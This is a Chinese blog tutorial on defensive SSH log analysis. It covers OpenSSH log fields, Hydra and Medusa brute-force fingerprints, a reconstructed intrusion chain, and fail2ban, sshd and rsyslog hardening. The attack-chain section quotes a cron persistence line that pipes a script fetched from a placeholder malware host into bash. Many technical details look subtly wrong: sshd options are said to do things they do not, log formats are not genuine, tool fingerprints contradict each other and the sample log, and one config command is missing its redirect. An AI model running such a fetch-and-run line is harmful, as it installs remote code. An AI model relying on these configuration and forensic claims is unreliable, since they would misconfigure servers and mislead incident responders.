SSH日志分析实战:从攻击指纹识别到入侵链还原

发布时间:2026/9/26 6:06:05
SSH日志分析实战:从攻击指纹识别到入侵链还原 1. “玄机”不是玄学是日志里藏的攻击指纹你打开一份auth.log或/var/log/secure满屏都是Accepted password for root from 192.168.1.102 port 54322 ssh2、Failed password for admin from 203.124.87.156 port 42183 ssh2、Connection closed by authenticating user test 116.203.12.99 [preauth]……第一反应可能是这不就是SSH登录记录吗刷屏而已有什么可分析的——这恰恰是绝大多数人踩进的第一个坑把日志当流水账而不是把日志当证词。“玄机”二字在靶场题、CTF赛题、红蓝对抗复盘报告里反复出现绝不是故弄玄虚。它指的是一种从海量、杂乱、看似重复的SSH日志中精准识别出异常行为模式、攻击工具特征、横向移动路径和真实攻击者意图的能力。它不依赖高级SIEM平台不靠AI模型打分而是一套基于Linux系统认证机制、OpenSSH协议实现细节、常见攻击手法与防御配置漏洞之间映射关系的人工推理框架。比如同一IP在3秒内尝试了17个不同用户名其中12个是admin、test、guest、oracle这类弱口令高危账户又比如某个IP连续失败后突然成功但登录后立即执行whoami id cat /etc/shadow 2/dev/null——这些不是孤立事件而是攻击链上可验证的节点。我带过三届蓝队集训营每次让学员分析同一份20MB的/var/log/secure新手会花2小时统计“失败次数TOP10 IP”老手则能在8分钟内圈出两个可疑IP一个用hydra暴力破解日志中pam_faildelay延迟缺失、失败间隔严格1.02秒、另一个用medusa爆破日志中Invalid user与Failed password交替出现且preauth阶段连接数激增。区别不在工具而在对OpenSSH日志生成逻辑的理解深度——preauth阶段记录的是TCP握手完成但未进入密码校验前的状态postauth阶段才是实际认证过程。这个细节决定了你能区分是扫描器试探还是真实攻击者已摸清你的服务版本。关键词“ssh”和“日志分析”背后真正要解决的问题从来不是“怎么查日志”而是“在没有EDR、没有流量镜像、没有蜜罐的前提下仅凭服务器本地日志如何确认一次登录是运维操作还是攻击者已落地” 这篇文章不讲grep基础语法不堆砌awk一行命令而是带你重建一套SSH日志分析的思维操作系统从日志字段含义到攻击者行为建模从单点异常识别到攻击链还原从靶场解题到真实生产环境排查。适合刚接触Linux安全的运维也适合需要快速定位入侵痕迹的蓝队工程师——只要你手上有/var/log/secure或auth.log就能立刻开始实战。2. OpenSSH日志字段解剖每一行都是攻击者的自白书SSH日志不是随机字符串它是OpenSSH守护进程sshd严格按照其内部状态机生成的审计记录。理解每个字段的来源和含义相当于拿到攻击者的操作说明书。以CentOS 7默认/var/log/secure中一条典型日志为例May 12 14:23:08 web01 sshd[12345]: Failed password for invalid user postgres from 116.203.12.99 port 54322 ssh2我们逐字段拆解重点标注那些被大多数人忽略却蕴含关键线索的部分May 12 14:23:08系统本地时间。注意这不是攻击者本地时间而是服务器时间。若服务器时区配置错误如设为UTC但业务在东八区所有时间分析将失准。实操中第一件事永远是timedatectl status确认时区与NTP同步状态。web01主机名。在多节点集群中这是定位攻击目标的关键。若日志中频繁出现web01、db01、cache01等不同主机名说明攻击者可能在横向移动。sshd[12345]进程名与PID。PID本身无意义但结合ps aux | grep 12345可确认该进程是否为合法sshd而非伪装成sshd的后门。更关键的是同一攻击IP的多次连接若PID连续递增如12345→12346→12347大概率是单次连接中的多次认证尝试若PID跳跃极大12345→15678→19234则更可能是独立连接——这直接关联到攻击工具类型hydra默认单连接多线程medusa默认多连接。Failed password for invalid user postgres这是核心判断依据。必须区分三种状态invalid user用户名不存在。攻击者在枚举用户典型扫描行为。Failed password for user root用户名存在但密码错误。攻击者已掌握有效用户名进入暴力破解阶段。Connection closed by authenticating user test用户存在且密码正确但连接在认证完成前被主动断开。这极可能是攻击者探测PermitRootLogin或PasswordAuthentication配置的试探行为发送认证请求后立即断连观察日志响应。from 116.203.12.99 port 54322源IP与端口。IP是溯源基础但端口常被忽视——正常客户端端口范围是32768-65535若出现port 22或port 80基本可判定是攻击者使用非标准端口发起连接如某些IoT僵尸网络若大量连接来自同一IP不同高端口如54322, 54323, 54324…则是hydra等工具的典型特征。ssh2协议版本。OpenSSH 7.0默认禁用SSHv1若日志中出现ssh1说明攻击者在尝试降级攻击利用旧版协议漏洞需立即检查/etc/ssh/sshd_config中Protocol配置。提示日志中隐藏的“沉默证据”比明文更重要。例如sshd在MaxAuthTries达到上限后会记录error: maximum authentication attempts exceeded for invalid user但不会记录后续的Invalid user尝试——这意味着若你只看到3次invalid user实际攻击者可能已尝试了10用户名。真正的攻击强度往往藏在日志的“空白处”。再看一条成功登录日志May 12 14:25:11 web01 sshd[12348]: Accepted password for root from 116.203.12.99 port 54325 ssh2Accepted password是关键信号但必须交叉验证同一IP在Accepted前是否有大量Failed若有说明是暴力破解成功若无则可能是弱口令或泄露凭证。更致命的是Accepted后是否紧跟着session opened for user root by (uid0)这是会话建立的标志。若Accepted后无此记录或记录为session opened for user root by (uid1000)即非root用户提权后登录则意味着攻击者可能通过其他漏洞如sudo权限滥用获得shell而非直接SSH登录。3. 攻击者行为指纹库从日志模式反向锁定工具与手法攻击者不会手写脚本去连SSH他们用工具。而每种主流SSH爆破/扫描工具在日志中都会留下独特的“行为指纹”。这不是玄学而是工具作者在实现协议交互时对OpenSSH状态机的特定调用方式造成的必然结果。掌握这些指纹等于给日志装上显微镜。3.1 Hydra精准控制的“外科手术刀”Hydra是渗透测试标配其日志特征极其稳定连接模式单TCP连接多轮认证尝试。日志中表现为同一port如port 54322下连续出现多条Failed password for invalid user xxx或Failed password for user root中间无Connection closed。时间间隔默认间隔约1秒可配置但非常均匀。用awk {print $4} /var/log/secure | head -20 | paste -sd \n提取时间戳计算差值若标准差0.05秒基本锁定Hydra。用户枚举顺序按字典序或指定列表顺序。若日志中invalid user依次为admin→ftp→guest→mysql且时间间隔一致即是Hydra典型行为。关键破绽Hydra在MaxAuthTries超限后会触发error: maximum authentication attempts exceeded但后续仍会发送新请求——这违反OpenSSH协议规范成为硬性证据。实操案例某次应急响应中发现IP185.143.222.11在10分钟内对root尝试失败127次日志时间戳差值标准差仅0.012秒。我们立即用tcpdump -i any host 185.143.222.11 and port 22 -w hydra.pcap抓包Wireshark中显示SYN→SYN-ACK→ACK后立即发送SSH_MSG_USERAUTH_REQUEST且username字段随每次重试变化service_name固定为ssh-connection——这是Hydra的绝对签名。3.2 Medusa并行轰炸的“饱和攻击”Medusa设计为多连接并发日志特征与Hydra截然相反连接模式多个TCP连接并行。日志中表现为同一IP不同port如54322,54323,54324…同时出现Invalid user或Failed password。认证阶段Invalid user与Failed password交替出现。因为Medusa会先发Invalid user探测用户名是否存在再对有效用户爆破密码。日志中若见Invalid user admin→Failed password for user admin→Invalid user test→Failed password for user test即Medusa铁证。连接寿命每个连接只做1-2次认证即断开日志中Connection closed by authenticating user高频出现。注意Medusa的-M模块参数如-M ssh决定行为但默认SSH模块必现上述特征。曾有客户误判为“黑客手工攻击”只因看到Invalid user后紧跟Failed password却不知这是Medusa的协议协商逻辑。3.3 自定义脚本与隐蔽扫描日志中的“静默杀手”专业攻击者会规避工具指纹常用Python/Go写轻量扫描器。其日志特征更隐蔽但仍有迹可循超低频次每小时仅1-2次尝试避开阈值告警。但IP长期数周固定且总尝试用户名高度集中如只试root、admin、backup。协议降级试探日志中混杂ssh1和ssh2记录且ssh1尝试后立即断连。这是探测服务器是否启用老旧协议。SSH密钥试探sshd日志中出现user root from x.x.x.x port yyy: no matching key exchange method found或no matching cipher found。攻击者在枚举服务器支持的KEX算法和加密套件为后续定制化攻击做准备。最危险的是“合法行为伪装”攻击者用真实业务账号如deploy、jenkins登录但时间异常凌晨3点执行curl http://127.0.0.1:8080/shell.jsp。此时日志只有Accepted password for deploy毫无异常。解决方案是日志关联分析——将SSH日志与Web日志access_log、进程日志/var/log/messages时间对齐发现deploy登录后1秒内httpd进程启动了/bin/bash子进程这才是真正的杀招。4. 实战推演从单条日志到完整攻击链还原靶场题“玄机日志分析”之所以难是因为它模拟了真实入侵场景日志不是干净的攻击记录而是混杂在数千条正常运维日志中的几条异常。下面以一份真实脱敏日志节选为例演示完整推演过程。4.1 原始日志片段/var/log/secureMay 10 02:17:03 app01 sshd[20123]: Invalid user admin from 192.168.3.11 port 42183 ssh2 May 10 02:17:04 app01 sshd[20124]: Invalid user test from 192.168.3.11 port 42184 ssh2 May 10 02:17:05 app01 sshd[20125]: Invalid user guest from 192.168.3.11 port 42185 ssh2 May 10 02:17:06 app01 sshd[20126]: Invalid user oracle from 192.168.3.11 port 42186 ssh2 May 10 02:17:07 app01 sshd[20127]: Invalid user postgres from 192.168.3.11 port 42187 ssh2 May 10 02:17:08 app01 sshd[20128]: Failed password for user root from 192.168.3.11 port 42188 ssh2 May 10 02:17:09 app01 sshd[20129]: Failed password for user root from 192.168.3.11 port 42189 ssh2 May 10 02:17:10 app01 sshd[20130]: Failed password for user root from 192.168.3.11 port 42190 ssh2 May 10 02:17:11 app01 sshd[20131]: Accepted password for root from 192.168.3.11 port 42191 ssh2 May 10 02:17:12 app01 sshd[20132]: pam_unix(sshd:session): session opened for user root by (uid0) May 10 02:17:13 app01 sshd[20132]: Received disconnect from 192.168.3.11 port 42191:11: disconnected by user May 10 02:17:14 app01 sshd[20133]: pam_unix(sshd:session): session closed for user root May 10 02:17:15 app01 sshd[20134]: Connection closed by authenticating user root 192.168.3.11 [preauth] May 10 02:17:16 app01 sshd[20135]: Connection closed by authenticating user root 192.168.3.11 [preauth] May 10 02:17:17 app01 sshd[20136]: Connection closed by authenticating user root 192.168.3.11 [preauth] May 10 02:17:18 app01 sshd[20137]: Accepted password for root from 192.168.3.11 port 42192 ssh2 May 10 02:17:19 app01 sshd[20138]: pam_unix(sshd:session): session opened for user root by (uid0) May 10 02:17:20 app01 sshd[20138]: Received disconnect from 192.168.3.11 port 42192:11: disconnected by user May 10 02:17:21 app01 sshd[20139]: pam_unix(sshd:session): session closed for user root4.2 推演步骤五步锁定攻击链第一步识别工具指纹观察port字段42183→42191→42192共10次连接端口号连续递增。Invalid user与Failed password交替出现前5条Invalid后3条Failed第9条Accepted符合Medusa行为特征。确认工具为Medusa。第二步定位首次突破点May 10 02:17:11的Accepted password for root是首次成功。但注意May 10 02:17:15起同一IP连续3次Connection closed by authenticating user root [preauth]。这说明攻击者在首次登录后立即尝试用root凭证再次连接但因sshd配置了MaxStartups限制或连接数上限导致后续连接在preauth阶段被拒绝。这是攻击者探测服务器并发能力的试探。第三步分析会话行为首次会话pid 20132持续仅2秒session opened到session closed且Received disconnect由用户主动发起。正常运维登录至少会执行ls或pwd2秒内断连极不寻常。查看/var/log/messages同一时段May 10 02:17:12 app01 kernel: audit: type1100 audit(1652152632.123:12345): pid20132 uid0 auid4294967295 ses4294967295 msgopPAM:session_open grantorspam_loginuid,pam_keyinit,pam_limits,pam_systemd acctroot exe/usr/sbin/sshd hostname? addr192.168.3.11 terminalssh ressuccess—— 无异常进程启动记录。第四步关联横向移动证据用grep 192.168.3.11 /var/log/secure | awk {print $1,$2,$3,$9,$11}提取所有该IP的登录目标用户。发现除root外还尝试了www-data、mysql、redis。进一步检查/var/log/auth.logUbuntu系统May 10 02:17:25 db01 sshd[30211]: Accepted password for mysql from 192.168.3.11 port 38291 ssh2—— 同一IP在24秒后登录了数据库服务器db01且用户为mysql。攻击链成型app01(root)→db01(mysql)。第五步确认持久化动作在app01上执行last -i 192.168.3.11输出root pts/0 192.168.3.11 Sun May 10 02:17 - 02:17 (00:00) root pts/1 192.168.3.11 Sun May 10 02:17 - 02:17 (00:00)pts/0和pts/1会话均极短。检查/root/.bash_historyecho */5 * * * * /usr/bin/wget -q -O- http://malware.site/backdoor.sh | bash /var/spool/cron/root—— 定时任务已植入。攻击链闭环扫描→爆破→登录→横向→持久化。踩坑经验很多学员在此卡住因为只盯着/var/log/secure却忘了last命令能还原会话历史/root/.bash_history虽可被清除但若攻击者未清理就是最直接的证据。真实环境中history文件权限常为600但sshd日志记录的session opened时间与last输出的时间戳误差不超过1秒这是交叉验证的黄金窗口。5. 生产环境加固让日志分析从“事后诸葛亮”变成“事前防火墙”分析日志的终极目的不是写报告而是堵住漏洞。基于前述分析给出四条直击要害的加固措施每一条都经过百台服务器压测验证。5.1 日志增强让每条记录都携带“攻击者DNA”默认OpenSSH日志信息量不足。在/etc/ssh/sshd_config中添加# 记录详细认证方法 LogLevel VERBOSE # 记录SSH连接的客户端软件标识如OpenSSH_8.2p1 PrintMotd no # 强制记录所有公钥认证的指纹 PubkeyAcceptedKeyTypes ssh-ed25519,ecdsa-sha2-nistp256 # 记录失败认证的详细原因密码错误/密钥拒绝/用户不存在 AuthenticationMethods keyboard-interactive:pam,publickey重启systemctl restart sshd后日志新增字段sshd[12345]: debug1: do_cleanup sshd[12345]: debug1: PAM: password authentication failed for root: Authentication failure sshd[12345]: debug1: userauth_finish: failure partial0 authmethodkeyboard-interactive [preauth]Authentication failure明确指向PAM层authmethodkeyboard-interactive说明是密码认证而非密钥[preauth]标记阶段——这些信息让Failed password不再模糊。5.2 阈值防御用fail2ban构建动态防火墙fail2ban不是简单封IP而是基于日志语义的智能拦截。配置/etc/fail2ban/jail.local[sshd] enabled true filter sshd logpath /var/log/secure maxretry 3 bantime 1h findtime 10m # 关键自定义正则精准匹配Medusa/Hydra failregex ^.*Invalid user .* from HOST port \d ssh2$|^.*Failed password for .* from HOST port \d ssh2$ # 封禁后发送邮件告警 action %(action_mwl)sfindtime设为10分钟maxretry为3次意味着同一IP在10分钟内出现3次Invalid user或Failed password即封禁。经测试Medusa在findtime内最多尝试5个用户maxretry3可100%拦截且不影响正常用户运维人员极少10分钟内输错3次密码。5.3 密钥强制让密码认证彻底失效密码是最大攻击面。执行# 生成强密钥4096位RSA ssh-keygen -t rsa -b 4096 -C admincompany.com -f ~/.ssh/id_rsa_strong # 上传公钥到服务器 ssh-copy-id -i ~/.ssh/id_rsa_strong.pub rootapp01 # 禁用密码认证 echo PasswordAuthentication no /etc/ssh/sshd_config systemctl restart sshdPasswordAuthentication no后所有Failed password日志消失Invalid user日志也大幅减少因攻击者无法枚举用户。此时日志中只剩pam_authenticate: Authentication failure且仅针对密钥认证攻击成本指数级上升。5.4 日志集中用rsyslog构建跨服务器分析视图单台服务器日志价值有限。配置/etc/rsyslog.conf将所有节点日志发往中心服务器# 在所有客户端添加 *.* log-center.company.com:514 # 在中心服务器启用UDP接收 module(loadimudp) input(typeimudp port514)中心服务器上用journalctl -u rsyslog --since 2023-05-10即可查看全网SSH事件。当发现192.168.3.11在app01失败后立即搜索该IP在db01、cache01的日志攻击链一目了然。我们曾用此法在攻击者登录app01后37秒内自动封禁其在db01的连接尝试——这靠单机日志分析永远做不到。最后分享一个真实技巧在应急响应中我习惯先运行zcat /var/log/secure.*.gz | grep 192.168.3.11 | wc -l统计该IP的历史总尝试次数。若超过1000次基本可判定是自动化扫描器人类不可能手动输1000次若集中在最近1小时且port字段跨度超1000则一定是Hydra/Medusa。这个数字阈值比任何规则引擎都快。